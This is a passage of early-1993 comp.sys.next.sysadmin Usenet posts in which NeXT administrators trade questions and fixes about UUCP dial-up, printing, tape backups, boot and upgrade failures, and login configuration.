System Administrator, Occidental College NeXTmail OK ------------------------------------------------
Newsgroups: comp.sys.next.sysadmin From: rhamel@iat.holonet.net (Richard Hamel) Subject: UUCP Follow-up Help! Message-ID: <C36p3y.Apr@iat.holonet.net> Organization: HoloNet National Internet Access BBS: 510-704-1058/modem Date: Mon, 1 Mar 1993 00:23:56 GMT Here is a bit more info about my UUCP problem: 1) My current L.sys : holonet Any DIR 19200 cufa \ ABORT BUSY \ "" ATDT15107041058 \ CONNECT\d\r\ CR \ elp: holonet \ uest: xxxxxxx\ ssword: xxxxxxx \ one: uucp 2) My current L.devices: # # For those unusual modems which have dialing scripts in L.sys which know how # to dial them. # DIR cua unused 300 direct DIR cua unused 1200 direct DIR cua unused 2400 direct DIR cufa unused 9600 none DIR cufa unused 19200 none 3) My current /etc/remote: BASIC|Basic setup:\ :el=^C^S^Q^U^D:ie=%$:oe=^D: # a2400|cua2400|Dial-out on cua at 2400 baud:\ :dv=/dev/cua:br#2400:tc=BASIC: fa2400|cufa2400|Dial-out on cufa at 2400 baud:\ :dv=/dev/cufa:br#2400:tc=BASIC: a9600|cua9600|Dial-out on cua at 9600 baud:\ :dv=/dev/cua:br#9600:tc=BASIC: b9600|cub9600|Dial-out on cub at 9600 baud:\ :dv=/dev/cub:br#9600:tc=BASIC: fa9600|cufa9600|Dial-out on cufa at 9600 baud:\ :dv=/dev/cufa:br#9600:tc=BASIC: fb9600|cufb9600|Dial-out on cufb at 9600 baud:\ :dv=/dev/cufb:br#9600:tc=BASIC: fa19200|cufa19200|Dial-out on cufa at 19200 baud:\ :dv=/dev/cufa:br#19200:tc=BASIC: ttya9600|Hardwire on ttya at 9600 baud:\ :dv=/dev/ttya:br#9600:tc=BASIC: ttyb9600|Hardwire on ttyb at 9600 baud:\ :dv=/dev/ttyb:br#9600:tc=BASIC: # General dialer definitions used below # dial1200|1200 Baud Hayes attributes:\ :dv=/dev/cua:br#1200:at=hayes:du: dial300|300 Hayes attributes:\ :dv=/dev/cua:br#300:at=hayes:du: # # UNIX system definitions # UNIX-1200|1200 Baud dial-out to another UNIX system:\ :el=^U^C^R^O^D^S^Q@:ie=#%$:oe=^D:tc=dial1200: UNIX-300|300 Baud dial-out to another UNIX system:\ :el=^U^C^R^O^D^S^Q@:ie=#%$:oe=^D:tc=dial300: # tip0|tip1200:tc=UNIX-1200: tip300:tc=UNIX-300: cu0|cu300:tc=UNIX-300: cu1200:tc=UNIX-1200: dialer:dv=/dev/cua:br#1200: 4) My /usr/spool/uucp/LOGFILE after I issue a uupoll command: root holonet (2/28-15:40-271) FAILED (LOGIN) root holonet (2/28-15:40-271) FAILED (call to holonet ) 5) I did not change any other files on my system (e.g tty's ....). 6) The modem I am using is a Practical Peripherals PM14400FXMT (9600 w/ v.32, v.32bis, v.42, v.42bis, MNP 1-5). 7) The service which I am trying to call is called holonet (8N1) over in Berkeley. here is what I would normally do when I call : mordor:5# tip fa19200 connected atdt15107041058 CONNECT 19200 *****(here I have to hit a CR)******** Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc. -HoloPacket(SM) - HIGH SPEED ACCESS TO HOLONET(SM) SERVICES ------------------- ------------ To access HoloNet type "holonet" at the service prompt ----------- HoloPacket Class A -- Service name ("?" for help): holonet Trying... Connected to holonet.net. HoloNet(SM) Internet Access BBS HoloNet Member Name (Non-members type "guest"): XXXXX Password: Last login: Sun Feb 28 15:28:16 from annex Please enter your terminal type (? for examples) or <CR> for none: vt102 ***** (to access uucp I would need to type in uucp at the termainal prompt)****** I can access this service with no problem using tip or Microphone Pro. Thanks for your help! Richard Hamel Valar Fax: 805.374.8514 I cant receive NeXT mail until I can hook up to UUCP! P.S. I lost your E-mail address John Bartley AARGH!!
From: andrew@cubetech.com (Andrew Loewenstern) Newsgroups: comp.sys.next.sysadmin Subject: Re: LISTSERVER for NeXTs??? Date: 27 Feb 1993 15:19:07 -0600 Organization: Cube Technologies, Inc Message-ID: <1molsb$203@imladris.cubetech.com> References: <1993Feb26.134024.12386@worldbank.org> <1993Feb27.074716.16063@antigone.com> In article <1993Feb27.074716.16063@antigone.com> mross@antigone.com writes: >masud cader (masud@invnext.worldbank.org) wrote: >I am running NEXT-L and several other _large_ lists on a NeXT using >unix-listserv. >All in all, it's a very powerful program. I highly recommend it. Note that because listserv completely destroys any incoming message's header and creates it's own, NeXTMail sent to a listserv list will not work due to the lack of the Next-Attachment line. Also, the licensing agreement that comes with listserv specifically forbids modifying the function that creates new mail headers. Here is an awful, terrible, abominable hack that I use to 'fix' this problem without modifying the listserv code. Since Next-Attachment is always the last line in the header, this just sticks a newline before it so listserv thinks it's part of the body and includes in messages going out to the list. NeXTMail is smart enough to figure out what's going on and displays the message properly. This is a 'lex' script. See the lex manpage to find out what to do with it. Filter incoming messages through this before you send them to catmail. %% "Next-Attachment: .tar." printf("\nNext-Attachment: .tar."); That's it. :-) andrew -- andrew@cubetech.com | "We cannot dwell in the time that is to come, Andrew Loewenstern | lest we lose our now for a phantom of our Cube Technologies, Inc. | own design." - Erendis FYEO Public Key: 0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: artebit!hauck (Georg-Bernhard Hauck) Subject: Need help: dial-in secure Message-ID: <1993Feb28.190632.444@artebit.in-berlin.de> Keywords: dialin, mailbox, shell Sender: hauck@artebit.in-berlin.de Organization: artebit Ges.f.DV und Bildende Kunst mbH Date: Sun, 28 Feb 1993 19:06:32 GMT Hello - 1: I want to make my NeXT available for friends. I know, it is possible to change the root-directory for a user to his/her homedirectory - but i don't know how ! 2: Where is a SIMPLE/SMALL shellscript for dial-in (hello, if you want to download ... upload ...message ....goodbye) ? 3: if the "gettytab"-entry for my dial-in-line is chnaged to "p8", i.e. 8-bit line, WHY IS THE "Login: "-PROMPT SENT IN 7-BIT (the "Password: "-Prompt is ok), how can i allow 8-bit dial-ins ?? ATTENTION: MY FROM:-LINE IS INCORRECT - reply to hauck@artebit.in-berlin.de thanks in advance Georg ------------------------------------------------------------------------- Georg-Bernhard Hauck vox: ++49 30 7518997 Alt-Tempelhof 16 fax: ++49 30 7513756 1000 Berlin 42 e-mail: hauck@artebit.in-berlin.de Germany
Newsgroups: comp.sys.next.sysadmin From: jjfeiler@relief.com (John Jay Feiler) Subject: mail back from lpr not working Message-ID: <1993Feb28.200219.13123@relief.com> Keywords: sendmail mail lpr Sender: jjfeiler@relief.com Organization: relief consulting Date: Sun, 28 Feb 1993 20:02:19 GMT I've got something configured wrong on our network, and I'm not sure what it is. Recently, a colleague tried to print something to a remote NeXT printer via lpr -m. The mail message was generated, but it was addressed to titan.ixion.com (ixion.com is our domain name, titan is the machine that the lpr command was sent from). Our print server, titan didn't realize that it was supposed to field this message, and sent it back to ixion.ixion.com (ixion is the name of out print-server). Ixion, then sent the mail back to titan, etc. How can I get either machine to accept the mail message, so it doesn't just bounce back and forth? Thanks John -- John Feiler jjfeiler@relief.com 4926 152nd St. SW NeXTmail Welcome!!! Edmonds, WA 98026-3344 Independent NeXTSTEP Developer
Newsgroups: comp.sys.next.sysadmin From: tisue@athens.uchicago.edu (Seth Tisue) Subject: /usr/ucb/Mail: keeping outgoing messages Message-ID: <1993Mar1.063643.19498@midway.uchicago.edu> Sender: news@uchinews.uchicago.edu (News System) Organization: Plaster Cramp Press Date: Mon, 1 Mar 1993 06:36:43 GMT A user has reported the following problem. According to the man pages for /usr/ucb/Mail, you can add a line like this: set record /Users/tisue/outgoing to your .mailrc file to have all your outgoing mail archived. However, this doesn't seem to work in NeXT's Mail binary... You get the error message: File exists And nothing is saved. Is this problem reproducible on other systems? Is there a fix? (For instancewould i it be possible to recompile Mail from BSD sources, or would that not work because of NetInfo and so forth...) -- == Seth Tisue (s-tisue@uchicago.edu) "Beware of the wise/ Beware of the wise/ Lies, lies, lies" - Fred Frith "Devote your life to a lost cause" - Jandek
Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin From: subbarao@concorde.fc.hp.com (Kartik Subbarao) Subject: Using NeXT optical disks with HP drives? Message-ID: <1993Feb28.224551.20578@Princeton.EDU> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: putchar('I'); for (i = 0; i < 3; i++) putchar('E'); Date: Sun, 28 Feb 1993 22:45:51 GMT Is it possible to do the above? Is their some magic disktab entry or something that can coax the HP drive into reading the NeXT floptical, or are the filesystems just totally radically different? PLEASE respond by email, I will post any successful response I get. -Kartik Path: informatik.uni-muenchen.de!lrz-muenchen.de!fauern!ira.uka.de!yale.edu!spool.mu.edu!think.com!enterpoop.mit.edu!senator-bedfellow.mit.edu!senator-bedfellow.mit.edu!usenet From: Matthias Imhof <gondwana@basalt.mit.edu> Newsgroups: comp.sys.next.sysadmin Subject: amslatex and nfss Date: 1 Mar 1993 14:20:26 GMT Organization: Massachvsetts Institvte of Technology Lines: 34 Message-ID: <1mt63aINNkl1@senator-bedfellow.MIT.EDU> NNTP-Posting-Host: basalt.mit.edu i tried to install amslatex on my next. but i am not able to get it running correctly as the example shows. my latex is as it comes out of the 3.0 package. was anyone able to hook it up? what and how did you do? basalt> latex testart.tex This is CTeX, NeXT Version 3.141 (testart.tex LaTeX Version 2.09 <25 March 1992> (/usr/lib/tex/inputs/amsart.sty AMS-LaTeX document style `AMSART' (1.1b, 31-JUL-1991) (/usr/lib/tex/inputs/amstex.sty AMS-LaTeX option `amstex.sty' (1.1, 21-JUN-1991) (/usr/lib/tex/inputs/amstext.sty AMS-LaTeX option `amstext.sty' (1.1, 21-JUN-1991) ! The style option `amstext' does not make sense if you do not use a format wit h the new font selection scheme.. <argument> ...with the new font selection scheme.} \endinput \@ifundefined ...fx \csname #1\endcsname \relax #2 \else #3\fi l.44 {} matthias *************************************************************************** * Matthias G.Imhof phone: (617) 253 7835 * * MIT Earth Resource Lab E34/370 fax: (617) 253 6385 * * 42 Carlton St * * Cambridge MA 02142 email: mgi@erl.mit.edu * * There is no dark side of the moon really. Matter of fact it's all dark * ***************************************************************************
Newsgroups: comp.sys.next.sysadmin From: nv90-mwe@nada.kth.se (Martin Wennerberg) Subject: Fonts and non-NeXT PS-printers? Message-ID: <1993Mar1.153540.8003@kth.se> Keywords: fonts, print, UNIX-hackers hear my plea Sender: usenet@kth.se (Usenet) Organization: Royal Institute of Technology, NADA Date: Mon, 1 Mar 1993 15:35:40 GMT (I know this question has appeared before but I have not found an answer.) When printing to a PS-printer other than NeXT 400dpi Laserwriter the NeXT printing demon does not download fonts that are not in the printer memory. How can I make this work? There is a UNIX command 'fontloader' which downloads a specific font to the printer but I want it to work automatically. Has someone written some kind of hack for this? If not here is an idea for a script: get the fontnames from the PS file to be printed: (the PS code contains something like %%PageTrailer %%DocumentFonts: Goudy-Old-Style-Italic %%+ Goudy-Old-Style-Normal %%+ Helvetica find out which of these fonts are not already in the printer. (I have no clue on how this is made) fontloader $theFontnames theFileToBePrinted.ps | lpr -PPRINTER Anybody got any ideas? (I m using is an Apple IINTX Laserwriter.) ---------- Martin Wennerberg Student of Computerscience at the University of Stockholm email: nv90-mwe@nada.kth.se (NeXTmail OK) Snailmail: Ektorpsv. 41, 131 47 Nacka, SWEDEN Phone (home): +8 716 06 30
From: ufessex@mcl.ucsb.edu (Fabian E. Schonholz) Newsgroups: comp.sys.next.sysadmin Subject: NeXT will not turn on!! Message-ID: <ufessex.731002990@mcl> Date: 1 Mar 93 16:23:10 GMT Sender: root@ucsbcsl.ucsb.edu It always happens when you have a buyer...argggggg!!! Well, my machine does not want to turn on. I mean that I pressed the power key and nothing happens. About an year ago I had the same problem, but somehow it solved itself out!!! I tryed turning the machine on (notice that I am not saying "booting" the machine) and nothing, so I let it seat there for a while. Changed the plugs, etc...tryed...nothing. Got the plugs again in the original set up and voila!!!! it came on an booted. Same way now...but it has been a week or so since it has not come on and (I was also sick with a cold and fever) and I got a buyer for it and would hate to sell a machine that is not working properlly. I suspect the keyboard, but I am not sure...ANY IDEAS!!!!! -- Fabian E. Schonholz ufessex@mcl.mcl.ucsb.edu.us fessex@cs.ucsb.edu.us
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: LaserJet Printing Troubles Date: 1 Mar 1993 17:28:58 GMT Organization: University of Houston Message-ID: <1mth4qINNhfl@menudo.uh.edu> References: <1993Feb26.220933.6218@eecs.nwu.edu> In article <1993Feb26.220933.6218@eecs.nwu.edu> bogdan@eecs.nwu.edu (Bogdan Vacaliuc) writes: #Hello, # # I have been trying to connect a HP LaserJet (4) printer to our NeXT network #of two machines for about a week now. Originally we had hoped to use the #LocalTalk port on the HP. (It has a parallel,serial,and LocalTalk port). #Anyway, we left that since LocalTalk uses differential RXD and TXD lines. # # Moving on to the obvious serial line connection, I followed the pin- #diagrams given in the NeXT documentation and constructed a cable. (There are #a number of conflicting descriptions around - I've tried them all!) Anyway, #at this point we have a cable from NeXTConnection and one that I think #should work based on what HP says the serial port pinouts are. (RS-232C) # # Anyway, I've setup NetInfo with a number of parameters to setup the serial #port properly. I've tried the LaserWriter parameters (suggested by #NeXTConnection), I've tried my own settings based on my understanding of #what the printer would expect on the serial line. The two refuse to #speak to each other no matter what I've tried. Lpd starts up and spawns #processes when files are spooled. Lpq reports the printer is not responding. # # What I'm hoping is that someone out there is happily printing on a #HP LaserJet via a serial port. I would very much like to know what are your #NetInfo parameters (the printcap database), and what are the connections on #your serial cable (test with an ohm-meter?). Essentially what you did to #get the system functional. # We have a LaserJet4M connected to the serial port of a color NeXTStation. We use the following configuration: LaserJet4M: \ :lf=/usr/adm/lpd-errs:sf=:sb=:lp=/dev/null:mx=0: \ :if=/usr/lib/NextPrinter/Server/prserver: \ :cf=/usr/lib/NextPrinter/Server/pscf: \ :df=/usr/lib/NextPrinter/Server/psdf: \ :gf=/usr/lib/NextPrinter/Server/psgf: \ :nf=/usr/lib/NextPrinter/Server/psnf: \ :rf=/usr/lib/NextPrinter/Server/psrf: \ :tf=/usr/lib/NextPrinter/Server/pstf: \ :vf=/usr/lib/NextPrinter/Server/psvf: \ :ty=HP LaserJet IIIP PostScript Cartridge: \ :note=Located in Room N138-D:nxformat=3.0: \ :sd=/usr/spool/NeXT/LaserJet4M:af=/usr/adm/LaserJet4M.acct: \ :sharedAs=LaserJet4M:sharedTo=/host: HP Serial Menu Serial: RS-232 Pacing: XON/XOFF Baud Rate: 9600 Robust XON: On DTR Polarity: High We only have occasional problems (the printer is also hooked in parallel to a PC running windows.) but we like the printer alot!!! Highly recomended. # Thanks again! # #-bogdan #(bogdan@eecs.nwu.edu) -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin From: schwarze@delphi.nosc.mil (David Schwarze) Subject: Executor-why must I be root? Message-ID: <1993Mar1.171120.13158@nosc.mil> Sender: pinney@nosc.mil (Mel M. Pinney) Organization: Naval Ocean Systems Center, San Diego, CA Date: Mon, 1 Mar 1993 17:11:20 GMT I just downloaded the demo of Executor, but it says I must be root to install it. I am worried by this. Does anyone know why root privledge is required? Has anyone downloaded and used this demo? This machine is used by several people and I don't want to hose it up or introduce any kind of virus onto it. Thanks, David ================================================================================ David Schwarze (schwarze@delphi.nosc.mil or NeXT mail schwarze@isenext2.saic.com) "Opinions expressed are just that" ================================================================================
Newsgroups: comp.sys.next.sysadmin From: jaeger.ka.sub.org!stephan (Stephan Jaeger) Subject: CDPlayer.app only as root executable Message-ID: <1993Mar1.113639.7665@jaeger.ka.sub.org> Sender: stephan@jaeger.ka.sub.org Organization: Stephan's Unox Bastelladen Date: Mon, 1 Mar 1993 11:36:39 GMT Hello folks out there in NeXTland, I have a problem with the CDPlayer.app : I can only start CDPlayer.app if I am working as root. If I work as normal user, I can't start this app, because the application cannot find the CD-ROM-drive. If I insert a normal CD-ROM (BGCD, ...), I can work with this CD-ROM. Any ideas ? Thanks in advance. Stephan Jaeger -- This space for rent. Contact: Stephan Jaeger, Rheinstr.40, D-7500 Karlsruhe 21 +49 721 554293 stephan@jaeger.ka.sub.org
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: Next NFS server upgrade Message-ID: <1993Mar1.193352.8194@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1993Feb19.031342.16288@cognet.ucla.edu> Distribution: na Date: Mon, 1 Mar 1993 19:33:52 GMT In terms of NFS servers, take a good look at HP's workstation line. They default to comming with full SCSI 2, and they support sync mode disks. This means, that the Fuji 2.4 GB will run at 10 MB/sec in theory. I was just talking to HP. The're version of nfs can be configured for either write-back or write-through. (In write-back, the data is cached, but the nfs daemon lies to the client, and says that the data has been written to disk. This makes writes as fast as reads. Bottom end HP is about the same price as a new Next was. -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo) Subject: Q: What does this error mean Message-ID: <1993Mar1.194511.21098@magnus.acs.ohio-state.edu> Sender: news@magnus.acs.ohio-state.edu Organization: The Ohio State University Date: Mon, 1 Mar 1993 19:45:11 GMT On some of our machins, if we try to login on console as root, the machine starts setting up the workspace and then "all of a sudden" quits back to the login window. I would assume there is some sort of permission problem, but I checked the /usr/adm/messages log, and it had this: Feb 16 16:52:24 peach -[152]: loginwindow: Workspace exited ts 0 cd 0 rc 0 sv 0 ss 0. Feb 17 12:19:45 peach pbs: pbs error: couldn't stat services cache What does this mean? Thanks, shane
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: NeXT will not turn on!! Message-ID: <C389vz.3FC@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <ufessex.731002990@mcl> Date: Mon, 1 Mar 1993 20:50:08 GMT ufessex@mcl.ucsb.edu (Fabian E. Schonholz) writes: >It always happens when you have a buyer...argggggg!!! >Well, my machine does not want to turn on. I mean that I pressed the >power key and nothing happens. About an year ago I had the same problem, >but somehow it solved itself out!!! I tryed turning the machine on (notice >that I am not saying "booting" the machine) and nothing, so I let it seat >there for a while. Changed the plugs, etc...tryed...nothing. Got the plugs >again in the original set up and voila!!!! it came on an booted. Same way >now...but it has been a week or so since it has not come on and (I was also >sick with a cold and fever) and I got a buyer for it and would hate to sell >a machine that is not working properlly. I suspect the keyboard, but I am not >sure...ANY IDEAS!!!!! Perhaps the boot cmos has been corrupted. Try removing the battery, shorting the battery holder terminals, and replacing the battery (mind the positive and negative marks). -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: root@lotka.Stanford.EDU (Operator) Newsgroups: comp.sys.next.sysadmin Subject: NS 2.55? Date: 1 Mar 1993 22:59:15 GMT Organization: Stanford University Distribution: na Message-ID: <1mu4g4INNi9n@morrow.stanford.edu> After three months of trying out 3.0 on one of our three systems I decided it was OK enough to upgrade the other two. I started with the 105MB slab, and noticed after about 90 min the Workspace was reporting "NO SPACE ON DISK". Another 30 min and Upgrade.app's status was still hanging on the same file, so I figured I'd stop, clean up, and restart. Stopping didn't work, but looking across the net at the filesystem showed most everything was in place so I tried rebooting (I know I know....) So now our slab is stuck somewhere between 2.1 and 3.0 and panics on a poweron or reboot. I don't know what files are missing or how to get them. All I can figure is to build a boot floppy and start over from 2.1, but the instructions I thought I was carefully keeping for building a boot floppy are nowhere to be found. Is that the best I can do? If so, does anyone have the boot floppy instructions? If not, does anyone have a better suggestion? --Eric Minch root@lotka.stanford.edu minch@lotka.stanford.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,de.comp.sys.next From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: talk, rwho, printer questions Message-ID: <1993Mar1.231105.15881@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1m3aom$he7@news.cs.tu-berlin.de> Date: Mon, 1 Mar 1993 23:11:05 GMT S. F. Ruehauf (gonzo@cs.tu-berlin.de) wrote: : : : Hello admins : : I've got a few questions : : 1 - how do you know how many copies your NeXT laser printer printed? : when is the toner gone? : the good old 'pagecount' PS variable doesn't work. this is always : NIL. Any hint? Start NetInfoManager open up printers in netinfo open up Local_Printer add new property af add value for af /etc/Local_Printer.log save and close. touch /etc/Local_Printer.log This file will accumulate entires in the form 4.00 pluto:beth 3.00 pluto:root 1.00 arafel:root which is page host:user See man page for pac for totaling pages. or the following one liner will also: /usr/local/bin/gawk '{sum+=$1; next} END {print sum}' < /etc/Local_Printer.log The log file can be called anything, but it must already exist. Lpd won't create it. : : 2- 'rusers' is a sytemV routine. rwho is bsd. : Why doesn't NeXT, right out of the box, support rwho? : : sfr@dasburo 73 (~) > rwho : /usr/spool/rwho: No such file or directory : rwho is fine on a small network. But the rwho traffic can get fierce on a large network. Most places don't have it running. : 3- why is it impossible to 'talk'? : how do I set up talk (hostname in /etc/hosts, setuid for ../Terminal) : what else? : If you are running terminal, the executable must be setuid root. If you are running Stuart, earlier than 2.4 ditto If you are running Stuart >= 2.4, check initialization of slog. : thanx in advance : : Stephan : : : : : : : -- : Stephan Fruhauf gonzo@opal.cs.tu-berlin.de : what is X400? s=gonzo ou=opal p=tu-berlin a=dbp c=de -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Re: CDPlayer.app only as root executable Message-ID: <C38GrG.JK1@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University References: <1993Mar1.113639.7665@jaeger.ka.sub.org> Date: Mon, 1 Mar 1993 23:18:50 GMT In article <1993Mar1.113639.7665@jaeger.ka.sub.org> jaeger.ka.sub.org!stephan (Stephan Jaeger) writes: >Hello folks out there in NeXTland, > >I have a problem with the CDPlayer.app : > >I can only start CDPlayer.app if I am working as root. >If I work as normal user, I can't start this app, because the application >cannot find the CD-ROM-drive. >If I insert a normal CD-ROM (BGCD, ...), I can work with this CD-ROM. I have the exact same problem. CDPlayer, the executable in the app wrapper is suid root, but it still fails. Sometimes I get it to work by playing around with different floppy mounted/floppy in the drive but not mounted/public window server set/ public window server not set combiniations, but have never been able to narrow it down. If anyone comes up with an answer, I'd love to hear about it. -rob --- Rob Francis Unix Systems Specialist, Indiana University francisr@indiana.edu (812)855-0327
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: mount: / not found Message-ID: <1993Mar1.232150.16250@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1m3cveINN9bb@au-ns.american.edu> Date: Mon, 1 Mar 1993 23:21:50 GMT Carlos Li (carlos@american.edu) wrote: : We are having problems rebooting our NeXTstation with a 105MB disk drive. : We get the messages: : mount: / not found : Faking root mount entries : .. : Then, it stops in the middle of coming up in multi-user mode. When I try : booting to single user, the /dev/sd0a seems to get mounted as read-only, : so I cannot modify anything, like in /etc/fstab. : I've tried booting up from a floppy and then mounting the hard disk. It : lets me do it, and I can change the fstab file, but when I reboot again, : it goes back to what it was before. : We had a power outage the night before this happened. : There is an extraneous line in the fstab file saying that it is trying to : mount / from Net (or something like), which is what I'm trying to get rid : of. : I hope I made some sense here. : Any help is welcome. : : --Carlos. First: To avoid the floppy bit, boot it single user, and mount -o remount,rw /dev/sd0a Second run fsck -p /dev/rsd0a Once it runs clean (may take more than one pass) reboot -n Now, do the mount remount bit, and edit /etc/fstab, save, run more on it to check that you did save it correctly. (Vi/ed/ex are such *fine* editors.) halt the machine, and boot multiuser. -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
From: doodle@diddle.com Newsgroups: comp.sys.next.sysadmin Subject: Re: NS 2.55? Date: 2 Mar 1993 00:48:22 GMT Organization: Stanford University Distribution: na Message-ID: <1muasmINN8k2@morrow.stanford.edu> Just to forestall any helpful responses to my earlier post (which described a slab hung in limbo between 2.1 and 3.0), I tried booting off the ODtools floppy (bfd from NMI monitor) and it worked. Nowhere in the documentation could I find any indication that this floppy was bootable. Never mind, it's working now. I'll just remember this in case anyone else paints himself into the same corner. --Eric Minch
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: How to suppress console logins? Message-ID: <1993Mar2.012426.20652@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <rich.730172873@pencil> Date: Tue, 2 Mar 1993 01:24:26 GMT Rich Winkel (rich@pencil.cs.missouri.edu) wrote: : The existence of /etc/nologin suffices to keep out telnet logins, but : it has no effect on console logins. What to do? : : Rich The following is a kludge, but it should work: In /etc/ttys: console /usr/lib/NextStep/loginwindow NeXT on secure window=/usr/lib/NextStep/WindowServer onoption="/usr/etc/getty std.9600" ttya "/usr/etc/getty std.2400" unknown off ttyb "/usr/etc/getty std.9600" unknown off secure .. make a copy of /etc/ttys, call it /etc/ttys.console make a copy of /etc/ttys, call it /etc/ttys.noconsole In that copy commend out the console line. This should keep getty from running on the console. Now your login dis-abler will have to do something like cp /etc/ttys.noconsole /etc/ttys kill -HUP 1 And your boot script should cp /etc/ttys.console /etc/ttys Hope this helps -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: Please help: SCSI timeout Message-ID: <1993Mar2.013653.21154@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <C2tpp2.16I@news.cis.umn.edu> Date: Tue, 2 Mar 1993 01:36:53 GMT Kenneth Nelson (knelson@milli.cs.umn.edu) wrote: : Netters, : : I am trying to backup a NeXT Dimension running NeXTSTEP 2.1 to a SCSI : DAT Archive Python Model 4230 using /usr/etc/dump. Approximately 1/2 : through the backup, dump crapped out with a tape write error. Further : examination of the console revealed: : : reselect timeout - target 5 : st: cmd = 0xa sr_io_status = 5H : 5 is illegal request. Check your manual. It may be that the Python doesn't support disconnect/reconnect, or that a jumper has to be set. : : 2. Is it reasonable for a SCSI peripheral to be unable to keep up? : Yup. If it's buffer is full, or if it's doing something like moveing the tape, it won't respond. Next's tape drivers are a tad flakey. My backup script (written in perl) goes to unreal lengths to try to work around all the various ways things can go wrong. It could also be that the python is expecting fixed block of 512, while the next defaults to variable block. Then if the Next does a disconnect at some odd point, the python may get confused. (Guessing) -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: 8mm Tape Drives? Message-ID: <1993Mar2.014054.21276@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <93056.093326SLVQC@CUNYVM.BITNET> Date: Tue, 2 Mar 1993 01:40:54 GMT Salvatore Saieva (SLVQC@CUNYVM.BITNET) wrote: : I'm looking for recommendations for 8mm drives for a NeXT cluster. Also of : interest would be backing up a VAX/Ultrix system over the net (although : this is not required). In particular, does anyone have anything to say : about the drives from Contemporary Cybernetics, good or bad? : Well they've been in business for a while, that's good. But the drives are exebyte. That's bad. There are only two companies that make 8mm, and that's exebyte and Kubota Pacific. We've had an exabyte for two years, and it's been back to the factory twice. On the flip side our HP DAT drive is fast, reliable, and half the price. -- => Sherwood Botsford sherwood@space.ualberta.ca <= => University of Alberta Lab Manager, Space Physics Group <= => tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin From: sherwood@space.ualberta.ca (System Administrator) Subject: Re: Lost HD space Message-ID: <1993Mar2.014447.21485@kakwa.ucs.ualberta.ca> Sender: news@kakwa.ucs.ualberta.ca Organization: University Of Alberta, Edmonton Canada References: <1993Feb26.011518.11459@bmerh85.bnr.ca> Date: Tue, 2 Mar 1993 01:44:47 GMT Brian Magee (sircomp@bcarh289.bnr.ca) wrote: : Hi all: : Just the other night, my HD mysteriously lost about 20Meg. I assume : that it happened after the 2am FSCK, but I'm open to suggestions on what : else it might have been. I tried re-booting, no good. I thought perhaps that : a swap-file had been set up (I have the internal 105 as a swap disk), but : no swapfile. Any ideas? I really hate to lost 20Meg! I mean, I could store : a nice sound file in that area :-) : AtDhVaAnNkCsE : Rob : -- : Rob Parkhill: sircomp@bnr.ca |"It's all so clear to me now. I'm the keeper : NeXTmail preffered at: | of the cheese, and you're the lemon merchant. : rob@hobbes.oghma.ocunix.on.ca | Get it?" - Ren Hoek : We had that happen here. Was /usr/spool/appkit. Programs spool here when printing, (and then its respooled to lpr...) Anyway, I added clearing that directory to my boot script. I had 25 megs tied up there. Normally they are cleared after their are using, but Nexts lpr/lpd do misbehave on 